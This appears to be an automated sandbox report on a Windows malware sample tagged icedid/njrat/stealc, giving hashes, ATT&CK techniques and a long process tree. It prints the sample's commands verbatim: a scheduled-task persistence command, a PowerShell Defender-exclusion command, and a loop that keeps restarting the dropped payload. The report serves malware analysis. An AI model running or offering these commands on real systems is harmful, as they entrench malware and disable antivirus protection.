f9f804e7f6c3691305749581ec071e8c00a29ebe8d66a0e424ffd912b73739b9

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
06/06/2026, 00:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-06_1141f5cff2946a5cf6c1855de46f83f1_icedid_njrat_stealc.exe
Size 6.3MB
Sample260606-arl1eahs2m
SHA256 f9f804e7f6c3691305749581ec071e8c00a29ebe8d66a0e424ffd912b73739b9
MD5 1141f5cff2946a5cf6c1855de46f83f1
SHA1 6718bb0bafa694c108f85691b5055328994e58eb
SHA512 04a0f68505058d855e805f602c1beae28dba23a73885cdd80be41d4f4f4a098176a6c815759851057f50dac330143ab119db5ee8440fac033fb6071591962154
SSDEEP 196608:4+hx9ekEeByQyVG/uzGNVyAl3K8fCGnbP3JzAm:X9esNSG/lVrl3KExL3JzAm
TLSH
T1BA66012BB26901E8D1BFD17CC9165907EBB2780543A0A7CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2200	powershell.exe
3172	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3484	PeerService.exe
408	PeerService.exe

Enumerates processes with tasklist 1 TTPs 60 IoCs

discovery

Process Discovery

T1057

pid	Process
1928	tasklist.exe
4180	tasklist.exe
3160	tasklist.exe
4836	tasklist.exe
4564	tasklist.exe
4704	tasklist.exe
4248	tasklist.exe
840	tasklist.exe
4208	tasklist.exe
4784	tasklist.exe
3988	tasklist.exe
5104	tasklist.exe
3920	tasklist.exe
2800	tasklist.exe
3224	tasklist.exe
2188	tasklist.exe
388	tasklist.exe
2552	tasklist.exe
4204	tasklist.exe
4600	tasklist.exe
2044	tasklist.exe
1780	tasklist.exe
2356	tasklist.exe
396	tasklist.exe
1008	tasklist.exe
1524	tasklist.exe
2628	tasklist.exe
1772	tasklist.exe
1252	tasklist.exe
4508	tasklist.exe
1032	tasklist.exe
3920	tasklist.exe
3732	tasklist.exe
3252	tasklist.exe
3348	tasklist.exe
4860	tasklist.exe
2056	tasklist.exe
1044	tasklist.exe
3608	tasklist.exe
1144	tasklist.exe
4688	tasklist.exe
3420	tasklist.exe
1144	tasklist.exe
3924	tasklist.exe
3308	tasklist.exe
1072	tasklist.exe
4068	tasklist.exe
4020	tasklist.exe
3608	tasklist.exe
2708	tasklist.exe
3660	tasklist.exe
648	tasklist.exe
1904	tasklist.exe
3992	tasklist.exe
2748	tasklist.exe
1172	tasklist.exe
2408	tasklist.exe
2944	tasklist.exe
1868	tasklist.exe
2608	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
1180	timeout.exe
3168	timeout.exe
2040	timeout.exe
2428	timeout.exe
3448	timeout.exe
3492	timeout.exe
4620	timeout.exe
4168	timeout.exe
2084	timeout.exe
5028	timeout.exe
2332	timeout.exe
2748	timeout.exe
3820	timeout.exe
660	timeout.exe
1400	timeout.exe
1296	timeout.exe
4084	timeout.exe
2940	timeout.exe
1984	timeout.exe
864	timeout.exe
1424	timeout.exe
720	timeout.exe
2084	timeout.exe
2488	timeout.exe
4716	timeout.exe
1464	timeout.exe
2544	timeout.exe
3416	timeout.exe
4468	timeout.exe
2464	timeout.exe
3260	timeout.exe
4588	timeout.exe
692	timeout.exe
1692	timeout.exe
4564	timeout.exe
1612	timeout.exe
3156	timeout.exe
488	timeout.exe
1636	timeout.exe
4004	timeout.exe
2056	timeout.exe
1864	timeout.exe
1072	timeout.exe
2624	timeout.exe
1608	timeout.exe
4416	timeout.exe
1700	timeout.exe
2016	timeout.exe
2148	timeout.exe
3228	timeout.exe
2548	timeout.exe
1364	timeout.exe
3224	timeout.exe
764	timeout.exe
1232	timeout.exe
2204	timeout.exe
856	timeout.exe
1656	timeout.exe
2424	timeout.exe
4564	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2200	powershell.exe
3172	powershell.exe
2200	powershell.exe
2200	powershell.exe
3172	powershell.exe
3172	powershell.exe

Suspicious use of AdjustPrivilegeToken 61 IoCs

description	pid	Process
Token: SeDebugPrivilege	3988	tasklist.exe
Token: SeDebugPrivilege	2200	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeDebugPrivilege	3252	tasklist.exe
Token: SeDebugPrivilege	1144	tasklist.exe
Token: SeDebugPrivilege	5104	tasklist.exe
Token: SeDebugPrivilege	3308	tasklist.exe
Token: SeDebugPrivilege	1072	tasklist.exe
Token: SeDebugPrivilege	4180	tasklist.exe
Token: SeDebugPrivilege	4600	tasklist.exe
Token: SeDebugPrivilege	4688	tasklist.exe
Token: SeDebugPrivilege	4020	tasklist.exe
Token: SeDebugPrivilege	1008	tasklist.exe
Token: SeDebugPrivilege	3608	tasklist.exe
Token: SeDebugPrivilege	4784	tasklist.exe
Token: SeDebugPrivilege	3348	tasklist.exe
Token: SeDebugPrivilege	3992	tasklist.exe
Token: SeDebugPrivilege	3160	tasklist.exe
Token: SeDebugPrivilege	4860	tasklist.exe
Token: SeDebugPrivilege	3920	tasklist.exe
Token: SeDebugPrivilege	4836	tasklist.exe
Token: SeDebugPrivilege	2044	tasklist.exe
Token: SeDebugPrivilege	4564	tasklist.exe
Token: SeDebugPrivilege	2748	tasklist.exe
Token: SeDebugPrivilege	2608	tasklist.exe
Token: SeDebugPrivilege	2800	tasklist.exe
Token: SeDebugPrivilege	1780	tasklist.exe
Token: SeDebugPrivilege	4704	tasklist.exe
Token: SeDebugPrivilege	3420	tasklist.exe
Token: SeDebugPrivilege	1772	tasklist.exe
Token: SeDebugPrivilege	396	tasklist.exe
Token: SeDebugPrivilege	3608	tasklist.exe
Token: SeDebugPrivilege	1172	tasklist.exe
Token: SeDebugPrivilege	4248	tasklist.exe
Token: SeDebugPrivilege	2708	tasklist.exe
Token: SeDebugPrivilege	1252	tasklist.exe
Token: SeDebugPrivilege	2188	tasklist.exe
Token: SeDebugPrivilege	2408	tasklist.exe
Token: SeDebugPrivilege	840	tasklist.exe
Token: SeDebugPrivilege	1144	tasklist.exe
Token: SeDebugPrivilege	4208	tasklist.exe
Token: SeDebugPrivilege	4068	tasklist.exe
Token: SeDebugPrivilege	4508	tasklist.exe
Token: SeDebugPrivilege	3660	tasklist.exe
Token: SeDebugPrivilege	648	tasklist.exe
Token: SeDebugPrivilege	2056	tasklist.exe
Token: SeDebugPrivilege	3224	tasklist.exe
Token: SeDebugPrivilege	1904	tasklist.exe
Token: SeDebugPrivilege	2944	tasklist.exe
Token: SeDebugPrivilege	1032	tasklist.exe
Token: SeDebugPrivilege	4204	tasklist.exe
Token: SeDebugPrivilege	3924	tasklist.exe
Token: SeDebugPrivilege	1524	tasklist.exe
Token: SeDebugPrivilege	3732	tasklist.exe
Token: SeDebugPrivilege	1928	tasklist.exe
Token: SeDebugPrivilege	1868	tasklist.exe
Token: SeDebugPrivilege	2628	tasklist.exe
Token: SeDebugPrivilege	3920	tasklist.exe
Token: SeDebugPrivilege	388	tasklist.exe
Token: SeDebugPrivilege	1044	tasklist.exe
Token: SeDebugPrivilege	2552	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 904 wrote to memory of 4780	904	2026-06-06_1141f5cff2946a5cf6c1855de46f83f1_icedid_njrat_stealc.exe	82
PID 4780 wrote to memory of 1380	4780	cmd.exe	84
PID 904 wrote to memory of 3484	904	2026-06-06_1141f5cff2946a5cf6c1855de46f83f1_icedid_njrat_stealc.exe	85
PID 3484 wrote to memory of 3976	3484	PeerService.exe	88
PID 3484 wrote to memory of 1668	3484	PeerService.exe	89
PID 408 wrote to memory of 3428	408	PeerService.exe	94
PID 408 wrote to memory of 884	408	PeerService.exe	96
PID 3976 wrote to memory of 2200	3976	cmd.exe	99
PID 1668 wrote to memory of 3988	1668	cmd.exe	100
PID 3428 wrote to memory of 3172	3428	cmd.exe	101
PID 1668 wrote to memory of 3920	1668	cmd.exe	102
PID 884 wrote to memory of 3252	884	cmd.exe	103
PID 884 wrote to memory of 2184	884	cmd.exe	104
PID 1668 wrote to memory of 4564	1668	cmd.exe	105
PID 884 wrote to memory of 2748	884	cmd.exe	106
PID 1668 wrote to memory of 1144	1668	cmd.exe	107
PID 1668 wrote to memory of 764	1668	cmd.exe	108
PID 1668 wrote to memory of 3820	1668	cmd.exe	109
PID 884 wrote to memory of 5104	884	cmd.exe	110
PID 884 wrote to memory of 1256	884	cmd.exe	111
PID 884 wrote to memory of 2084	884	cmd.exe	112
PID 1668 wrote to memory of 3308	1668	cmd.exe	113
PID 1668 wrote to memory of 4432	1668	cmd.exe	114
PID 1668 wrote to memory of 1656	1668	cmd.exe	115
PID 884 wrote to memory of 1072	884	cmd.exe	116
PID 884 wrote to memory of 3440	884	cmd.exe	117
PID 884 wrote to memory of 692	884	cmd.exe	118
PID 1668 wrote to memory of 4180	1668	cmd.exe	119
PID 1668 wrote to memory of 2256	1668	cmd.exe	120
PID 1668 wrote to memory of 4716	1668	cmd.exe	121
PID 884 wrote to memory of 4600	884	cmd.exe	122
PID 884 wrote to memory of 4476	884	cmd.exe	123
PID 884 wrote to memory of 488	884	cmd.exe	124
PID 1668 wrote to memory of 4688	1668	cmd.exe	125
PID 1668 wrote to memory of 1380	1668	cmd.exe	126
PID 1668 wrote to memory of 4084	1668	cmd.exe	127
PID 884 wrote to memory of 4020	884	cmd.exe	128
PID 884 wrote to memory of 560	884	cmd.exe	129
PID 884 wrote to memory of 864	884	cmd.exe	130
PID 1668 wrote to memory of 1008	1668	cmd.exe	131
PID 1668 wrote to memory of 468	1668	cmd.exe	132
PID 1668 wrote to memory of 1612	1668	cmd.exe	133
PID 884 wrote to memory of 3608	884	cmd.exe	134
PID 884 wrote to memory of 2996	884	cmd.exe	135
PID 884 wrote to memory of 3492	884	cmd.exe	136
PID 1668 wrote to memory of 4784	1668	cmd.exe	137
PID 1668 wrote to memory of 1064	1668	cmd.exe	138
PID 1668 wrote to memory of 1692	1668	cmd.exe	139
PID 884 wrote to memory of 3348	884	cmd.exe	140
PID 884 wrote to memory of 4056	884	cmd.exe	141
PID 884 wrote to memory of 1364	884	cmd.exe	142
PID 1668 wrote to memory of 3992	1668	cmd.exe	143
PID 1668 wrote to memory of 1280	1668	cmd.exe	144
PID 1668 wrote to memory of 3416	1668	cmd.exe	145
PID 884 wrote to memory of 3160	884	cmd.exe	146
PID 884 wrote to memory of 4800	884	cmd.exe	147
PID 884 wrote to memory of 1636	884	cmd.exe	148
PID 1668 wrote to memory of 4860	1668	cmd.exe	149
PID 1668 wrote to memory of 856	1668	cmd.exe	150
PID 1668 wrote to memory of 1424	1668	cmd.exe	151
PID 884 wrote to memory of 3920	884	cmd.exe	152
PID 884 wrote to memory of 4848	884	cmd.exe	153
PID 884 wrote to memory of 2040	884	cmd.exe	154
PID 1668 wrote to memory of 4836	1668	cmd.exe	155

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-06-06_1141f5cff2946a5cf6c1855de46f83f1_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-06_1141f5cff2946a5cf6c1855de46f83f1_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1380
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3484
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2200
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3988
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3920
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4564
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1144
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:764
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3820
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3308
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4432
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1656
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4180
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2256
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4716
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4688
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1380
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4084
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1008
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:468
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1612
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4784
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1064
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1692
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3992
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1280
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3416
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4860
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:856
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4836
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3476
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4416
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4564
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4980
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2608
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3820
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4004
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1780
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1476
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2056
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3420
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2140
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3448
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1772
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1700
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1464
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3608
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2996
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2332
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4248
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1928
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3260
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1252
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3472
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2408
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3060
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4588
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1144
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2068
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1296
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4068
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:660
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2464
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3660
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1000
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2084
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2056
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4100
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4620
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1904
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4120
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1700
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1032
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2732
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3156
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4028
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2148
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3732
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4864
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1984
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1868
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3468
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:856
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3920
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:404
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1608
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1044
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1232
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2488

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:408
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:884
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3252
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2184
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2748
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5104
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1256
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2084
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3440
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:692
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4600
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4476
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:488
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4020
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:560
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:864
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3608
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2996
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3492
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4056
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1364
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3160
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4800
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1636
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4848
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2040
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2044
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4376
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1232
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2660
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:660
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2980
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2428
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4460
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3224
